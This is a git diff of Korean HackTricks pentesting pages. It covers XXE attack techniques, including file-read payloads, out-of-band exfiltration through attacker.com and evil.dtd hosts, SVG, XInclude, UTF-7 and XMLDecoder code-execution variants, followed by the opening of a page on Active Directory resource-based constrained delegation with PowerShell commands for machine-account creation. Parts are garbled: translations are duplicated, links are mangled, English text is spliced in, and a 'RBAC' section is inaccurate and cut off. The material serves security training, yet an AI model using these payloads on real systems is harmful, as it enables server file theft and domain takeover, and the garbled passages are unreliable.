두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영원히 열어두는 것입니다. 이를 위해 [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)에서 제공되는 도구를 활용할 수 있으며, Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함됩니다.
|
||||
두 번째 단계에서 이 프로세스를 방해하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영원히 열어두는 것입니다. 이를 위해 [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)에서 제공되는 도구를 활용할 수 있으며, Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함됩니다.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
|
@ -293,7 +296,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
|||
```
|
||||
#### 이차 폭발 공격
|
||||
|
||||
![](<../.gitbook/assets/image (531).png>)
|
||||
![](<../.gitbook/assets/image (524).png>)
|
||||
|
||||
#### NTML 가져오기
|
||||
|
||||
|
@ -311,19 +314,19 @@ Responder.py -I eth0 -v
|
|||
|
||||
### XInclude
|
||||
|
||||
클라이언트 데이터를 서버 측 XML 문서에 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 종종 제한되어 기존의 XXE 공격이 `DOCTYPE` 요소 수정에 대한 제한으로 인해 어려울 수 있습니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 이러한 제한을 극복할 수 있습니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
|
||||
클라이언트 데이터를 서버 측 XML 문서에 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 제한되어 전통적인 XXE 공격이 `DOCTYPE` 요소 수정에 제한이 있어 어려울 수 있습니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
|
||||
|
||||
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도한 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 이러한 공격을 어떻게 구성할 수 있는지 간결한 예시입니다:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)에서 자세한 정보를 확인하세요!
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
|
||||
### SVG - 파일 업로드
|
||||
|
||||
사용자가 특정 응용 프로그램에 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식에서 취약점을 악용할 수 있습니다. DOCX와 같은 일반 파일 형식 및 이미지 (SVG)는 XML을 기반으로 합니다.
|
||||
특정 응용 프로그램에 사용자가 업로드한 파일은 서버에서 처리되며, XML 또는 XML을 포함하는 파일 형식이 처리되는 방식에 취약점을 악용할 수 있습니다. 문서 (DOCX) 및 이미지 (SVG)와 같은 일반 파일 형식은 XML을 기반으로 합니다.
|
||||
|
||||
사용자가 **이미지를 업로드**하면 이러한 이미지가 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 **서버의 이미지 처리 라이브러리가 SVG 이미지를 지원**할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악의적인 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.
|
||||
사용자가 **이미지를 업로드**하면, 이러한 이미지는 서버 측에서 처리되거나 유효성이 검사됩니다. PNG 또는 JPEG와 같은 형식을 예상하는 응용 프로그램의 경우에도 **서버의 이미지 처리 라이브러리가 SVG 이미지를 지원**할 수 있습니다. XML 기반 형식인 SVG는 공격자가 악의적인 SVG 이미지를 제출하여 서버를 XXE (XML External Entity) 취약점에 노출시킬 수 있습니다.
|
||||
|
||||
다음은 악의적인 SVG 이미지가 시스템 파일을 읽으려고 시도하는 exploit의 예시입니다:
|
||||
```xml
|
||||
|
@ -337,19 +340,19 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
|||
```
|
||||
양쪽 모두 SVG 형식을 사용하여 서버 소프트웨어의 XML 처리 기능을 악용하는 공격을 실행하며, 견고한 입력 유효성 검사와 보안 조치의 필요성을 강조합니다.
|
||||
|
||||
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)에서 확인하세요!
|
||||
자세한 정보는 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)를 확인하세요!
|
||||
|
||||
**첫 번째 줄이 읽은 파일의 내용 또는 실행 결과의 내부에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.**
|
||||
**주의: 읽은 파일의 첫 줄 또는 실행 결과의 첫 줄이 생성된 이미지 안에 나타납니다. 따라서 SVG가 생성한 이미지에 액세스할 수 있어야 합니다.**
|
||||
|
||||
### **PDF - 파일 업로드**
|
||||
|
||||
다음 게시물을 읽어보고 **PDF 파일을 업로드하여 XXE를 악용하는 방법을 학습**하세요:
|
||||
다음 게시물을 읽어 **PDF 파일을 업로드하여 XXE를 악용하는 방법을 학습**하세요:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Content-Type: x-www-urlencoded에서 XML로 변경
|
||||
### Content-Type: x-www-urlencoded에서 XML로
|
||||
|
||||
POST 요청이 XML 형식의 데이터를 허용하는 경우 해당 요청에서 XXE를 악용할 수 있습니다. 예를 들어, 일반 요청에 다음 내용이 포함된다면:
|
||||
```xml
|
||||
|
@ -359,7 +362,7 @@ Content-Length: 7
|
|||
|
||||
foo=bar
|
||||
```
|
||||
그러면 동일한 결과를 얻을 수 있는 다음 요청을 제출할 수 있을 것입니다:
|
||||
그러면 동일한 결과를 얻을 수 있는 다음 요청을 제출할 수 있습니다:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
|
@ -409,7 +412,7 @@ Content-Type: application/xml;charset=UTF-8
|
|||
|
||||
### UTF-7
|
||||
|
||||
\[여기에서 사이버셰프의 "인코딩 레시피"를 사용할 수 있습니다.]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)) UTF-7로 변환합니다.
|
||||
여기서 \[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7로 변환하세요.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -500,13 +503,13 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
그러나 이 요청은 내부 서버 오류를 발생시키며, 구조 선언에 문제가 있다고 명시적으로 언급합니다:
|
||||
그러나이 요청은 내부 서버 오류를 발생시키며 특히 마크업 선언에 문제가 있다고 언급합니다:
|
||||
```json
|
||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||
```
|
||||
오류가 발생했지만 Burp Collaborator에 히트가 기록되어 외부 엔티티와의 상호 작용 수준이 일부 기록됩니다.
|
||||
|
||||
외부 데이터 유출을 위해 수정된 요청이 전송됩니다:
|
||||
외부 밴드 데이터 유출 데이터를 유출하기 위해 수정된 요청이 전송됩니다:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
|
@ -518,16 +521,16 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
이 접근 방식은 User Agent가 Java 1.8을 사용한다는 것을 나타냅니다. Java의 이 버전의 주목할 만한 제한 사항은 Out of Band 기술을 사용하여 /etc/passwd와 같은 새 줄 문자를 포함하는 파일을 검색할 수 없다는 것입니다.
|
||||
이 접근 방식은 User Agent가 Java 1.8을 사용한다는 것을 나타냅니다. Java의 이 버전의 주목할 만한 한계는 /etc/passwd와 같은 새 줄 문자를 포함하는 파일을 Out of Band 기술을 사용하여 검색할 수 없다는 것입니다.
|
||||
|
||||
오류 기반 데이터 유출 이 제한 사항을 극복하기 위해 오류 기반 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구성되어 있어서 대상 파일에서 데이터를 포함하는 오류를 유발합니다:
|
||||
에러 기반 데이터 유출 이 한계를 극복하기 위해 에러 기반 접근 방식이 사용됩니다. DTD 파일은 다음과 같이 구성되어 있어서 대상 파일에서 데이터를 포함하는 오류를 트리거합니다:
|
||||
```xml
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
서버는 오류로 응답하며 존재하지 않는 파일을 반영하므로 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:
|
||||
서버는 오류로 응답하며, 존재하지 않는 파일을 반영하며 서버가 지정된 파일에 액세스하려고 시도하고 있음을 나타냅니다:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
|
@ -542,7 +545,7 @@ Content-Type: application/x-xliff+xml
|
|||
|
||||
## RSS - XEE
|
||||
|
||||
XXE 취약점을 악용하기 위한 유효한 RSS 형식의 XML.
|
||||
XXE 취약점을 악용하기 위한 RSS 형식의 유효한 XML.
|
||||
|
||||
### Ping back
|
||||
|
||||
|
@ -568,6 +571,20 @@ XXE 취약점을 악용하기 위한 유효한 RSS 형식의 XML.
|
|||
</rss>
|
||||
```
|
||||
### 파일 읽기
|
||||
|
||||
To read a file using XXE, you can use the following XML payload:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % dtd SYSTEM "http://your-website.com/evil.dtd">
|
||||
%dtd;
|
||||
]>
|
||||
<data>&send;</data>
|
||||
```
|
||||
|
||||
This payload will read the `/etc/passwd` file from the target server.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -590,7 +607,7 @@ XXE 취약점을 악용하기 위한 유효한 RSS 형식의 XML.
|
|||
```
|
||||
### 소스 코드 읽기
|
||||
|
||||
PHP base64 필터 사용
|
||||
PHP base64 필터 사용하기
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -613,7 +630,7 @@ PHP base64 필터 사용
|
|||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 응용 프로그램이 **readObject** 메소드 호출 시 임의의 데이터를 사용하도록 할 수 있다면, 즉시 서버에서 코드 실행을 얻을 수 있습니다.
|
||||
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적 사용자가 응용 프로그램이 **readObject** 메소드 호출에 임의 데이터를 사용하도록 할 수 있다면, 즉시 서버에서 코드 실행을 얻을 수 있습니다.
|
||||
|
||||
### Runtime().exec() 사용하기
|
||||
```xml
|
||||
|
@ -692,16 +709,20 @@ XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래
|
|||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,47 +1,51 @@
|
|||
# 리소스 기반 제한된 위임
|
||||
# 리소스 기반 제약 위임
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com) 획득
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 리소스 기반 제한된 위임의 기본 사항
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이것은 기본적인 [제한된 위임](constrained-delegation.md)과 유사하지만, **객체에 권한을 부여하여 서비스에 대해 어떤 사용자든 가장할 수 있도록 하는 대신** 리소스 기반 제한된 위임은 **객체에 대해 어떤 사용자든 가장할 수 있는 사용자의 이름을 설정**합니다.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
이 경우, 제한된 객체에는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성이 있으며, 이를 통해 다른 사용자를 대신하여 가장할 수 있는 사용자의 이름을 설정할 수 있습니다.
|
||||
## 리소스 기반 제약 위임의 기본
|
||||
|
||||
이 제한된 위임과 다른 위임들 사이의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한**(_GenericAll/GenericWrite/WriteDacl/WriteProperty 등_)을 가진 **모든 사용자**가 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_를 설정할 수 있다는 것입니다(다른 형태의 위임에서는 도메인 관리자 권한이 필요합니다).
|
||||
이것은 기본 [제약 위임](constrained-delegation.md)과 유사하지만 **객체에 대한 권한을 부여하는 대신 서비스에 대해 어떤 사용자든 표현할 수 있는 권한을 부여하는 것**입니다. 리소스 기반 제약 위임은 **객체에 대해 어떤 사용자든 표현할 수 있는 권한을 설정**합니다.
|
||||
|
||||
이 경우, 제약된 객체에는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성이 있으며 해당 사용자의 이름을 가질 수 있습니다. 이 사용자는 해당 객체에 대해 다른 사용자를 표현할 수 있습니다.
|
||||
|
||||
이 제약 위임과 다른 위임 사이의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한을 가진 모든 사용자**가 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_를 설정할 수 있다는 것입니다. (일반적으로/GenericWrite/WriteDacl/WriteProperty 등) (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
|
||||
|
||||
### 새로운 개념
|
||||
|
||||
제한된 위임에서는 사용자의 _userAccountControl_ 값 내의 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하기 위해 필요하다고 언급되었습니다. 그러나 이는 완전한 사실이 아닙니다.\
|
||||
실제로는 그 값을 가지지 않아도 **서비스**(SPN을 가진)인 경우에는 어떤 사용자에 대해 **S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**을 가지고 있다면 반환된 TGS는 **Forwardable**하게 되고, 그 플래그를 가지고 있지 않으면 반환된 TGS는 **Forwardable**하지 않게 됩니다.
|
||||
제약 위임에서는 사용자의 _userAccountControl_ 값 내의 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하는 데 필요하다고 말했습니다. 그러나 그것은 완전한 진실이 아닙니다.\
|
||||
사실은 그 값이 없어도 **서비스**인 경우 (SPN이 있는 경우) **어떤 사용자든 S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**이 있는 경우 반환된 TGS는 **Forwardable**이 되고 그 플래그가 없는 경우 반환된 TGS는 **Forwardable**하지 않습니다.
|
||||
|
||||
그러나 **TGS**가 **Forwardable**하지 않은 경우 **기본 제한된 위임**을 악용하려고 하면 **작동하지 않습니다**. 그러나 **리소스 기반 제한된 위임을 악용**하려고 하면 작동합니다(이는 취약점이 아닌 기능으로 보입니다).
|
||||
그러나 **S4U2Proxy**에서 사용된 **TGS**가 **Forwardable**하지 않은 경우 **기본 제약 위임을 악용**하려고 하면 **작동하지 않을 것**입니다. 그러나 **리소스 기반 제약 위임을 악용**하려고 하면 작동합니다 (이것은 취약점이 아니라 기능입니다).
|
||||
|
||||
### 공격 구조
|
||||
|
||||
> **컴퓨터** 계정에 **쓰기 등가 권한**이 있다면 해당 컴퓨터에서 **특권 액세스**를 얻을 수 있습니다.
|
||||
> **컴퓨터** 계정에 대한 **쓰기 동등 권한**이 있다면 해당 기계에서 **특권 액세스**를 얻을 수 있습니다.
|
||||
|
||||
공격자가 이미 피해 컴퓨터에 대한 **쓰기 등가 권한**을 가지고 있다고 가정합니다.
|
||||
공격자가 이미 피해자 컴퓨터에 대한 **쓰기 동등 권한**을 가지고 있다고 가정합니다.
|
||||
|
||||
1. 공격자는 **SPN**을 가진 계정을 **침해**하거나 하나를 생성합니다("Service A"). 다른 특별한 권한이 없는 **임의의 관리자 사용자**는 최대 10개의 **컴퓨터 개체(MachineAccountQuota)**를 생성하고 SPN을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 개체를 생성하고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 피해 컴퓨터(ServiceB)에 대한 **쓰기 권한**을 악용하여 **리소스 기반 제한된 위임을 구성**하여 ServiceA가 해당 피해 컴퓨터(ServiceB)에 대해 **어떤 사용자든 가장할 수 있도록**합니다.
|
||||
3. 공격자는 Rubeus를 사용하여 Service A에서 Service B로 **전체 S4U 공격**(S4U2Self 및 S4U2Proxy)을 수행합니다. 이를 위해 Service B에 특권 액세스를 가진 사용자를 대상으로 합니다.
|
||||
1. S4U2Self(침해/생성된 계정의 SPN): **관리자에 대한 TGS를 나에게 요청**(Forwardable하지 않음).
|
||||
2. S4U2Proxy: 이전 단계의 **Forwardable하지 않은 TGS**를 사용하여 **관리자에서 피해 호스트로 TGS**를 요청합니다.
|
||||
3. Forwardable하지 않은 TGS를 사용하더라도 리소스 기반 제한된 위임을 악용하고 있기 때문에 작동합니다.
|
||||
4. 공격자는 **티켓 전달**을 수행하고 사용자를 **가장**하여 피해 ServiceB에 **액세스**를 얻을 수 있습니다.
|
||||
1. 공격자는 **SPN**을 가진 계정을 **침해**하거나 생성합니다 ("서비스 A"). **특별한 특권이 없는** 모든 _관리자 사용자_는 최대 10개의 **컴퓨터 객체**(**MachineAccountQuota**)를 **생성**하고 SPN을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 만들고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 피해자 컴퓨터 (서비스B)에 대한 **쓰기 권한을 악용**하여 서비스A가 해당 피해자 컴퓨터 (서비스B)에 대해 **어떤 사용자든 표현할 수 있도록 리소스 기반 제약 위임을 구성**합니다.
|
||||
3. 공격자는 Rubeus를 사용하여 특권 액세스를 가진 사용자를 위해 서비스 A에서 서비스 B로의 **전체 S4U 공격** (S4U2Self 및 S4U2Proxy)을 수행합니다.
|
||||
1. S4U2Self (침해된/생성된 SPN 계정에서): **관리자로부터 나에게 TGS를 요청**합니다 (Forwardable하지 않음).
|
||||
2. S4U2Proxy: 앞 단계의 **Forwardable하지 않은 TGS**를 사용하여 **관리자로부터 피해자 호스트로의 TGS**를 요청합니다.
|
||||
3. Forwardable하지 않은 TGS를 사용하더라도 리소스 기반 제약 위임을 악용하고 있기 때문에 작동합니다.
|
||||
4. 공격자는 **티켓 전달**을 수행하고 사용자를 **표현**하여 **피해자 서비스B에 액세스**할 수 있습니다.
|
||||
|
||||
도메인의 _**MachineAccountQuota**_를 확인하려면 다음을 사용할 수 있습니다:
|
||||
```powershell
|
||||
|
@ -49,9 +53,9 @@ Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select Ma
|
|||
```
|
||||
## 공격
|
||||
|
||||
### 컴퓨터 개체 생성
|
||||
### 컴퓨터 객체 생성
|
||||
|
||||
도메인 내에서 [powermad](https://github.com/Kevin-Robertson/Powermad)를 사용하여 컴퓨터 개체를 생성할 수 있습니다.
|
||||
도메인 내에서 [powermad](https://github.com/Kevin-Robertson/Powermad)를 사용하여 컴퓨터 객체를 생성할 수 있습니다**:**
|
||||
```powershell
|
||||
import-module powermad
|
||||
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
|
@ -59,52 +63,14 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
|
|||
# Check if created
|
||||
Get-DomainComputer SERVICEA
|
||||
```
|
||||
### R**esource-based Constrained Delegation 구성**
|
||||
### R**esource-based Constrained Delegation** 구성
|
||||
|
||||
**activedirectory PowerShell 모듈 사용하기**
|
||||
**activedirectory PowerShell 모듈 사용**
|
||||
```powershell
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
```
|
||||
**powerview 사용하기**
|
||||
|
||||
Powerview는 Windows 환경에서 Active Directory를 탐색하고 조작하는 데 사용되는 강력한 도구입니다. Powerview를 사용하면 다양한 기능을 활용하여 Active Directory의 리소스 기반 제한된 위임(RBAC)을 조작할 수 있습니다.
|
||||
|
||||
**Resource-Based Constrained Delegation (RBAC)**
|
||||
|
||||
리소스 기반 제한된 위임(RBAC)은 Active Directory에서 사용되는 중요한 보안 기능 중 하나입니다. 이 기능을 통해 사용자는 특정 리소스에 대한 권한을 다른 사용자에게 위임할 수 있습니다. 이를 통해 사용자는 다른 사용자가 특정 리소스에 대한 액세스 권한을 가지도록 설정할 수 있습니다.
|
||||
|
||||
**RBAC의 취약점**
|
||||
|
||||
RBAC는 잘 구성되어 있으면 안전한 기능이지만, 잘못 구성된 경우 공격자에게 취약점을 제공할 수 있습니다. 공격자는 잘못된 RBAC 구성을 이용하여 특정 리소스에 대한 권한을 탈취하거나 다른 사용자의 권한을 도용할 수 있습니다.
|
||||
|
||||
**Powerview를 사용한 RBAC 공격**
|
||||
|
||||
Powerview를 사용하여 RBAC 공격을 수행할 수 있습니다. Powerview는 다양한 명령어와 함수를 제공하여 RBAC 설정을 탐색하고 조작할 수 있습니다. 이를 통해 공격자는 잘못된 RBAC 구성을 찾아내고 악용할 수 있습니다.
|
||||
|
||||
**RBAC 공격의 예**
|
||||
|
||||
다음은 Powerview를 사용하여 RBAC 공격을 수행하는 예입니다.
|
||||
|
||||
1. `Get-DomainUser` 명령어를 사용하여 도메인 사용자 목록을 가져옵니다.
|
||||
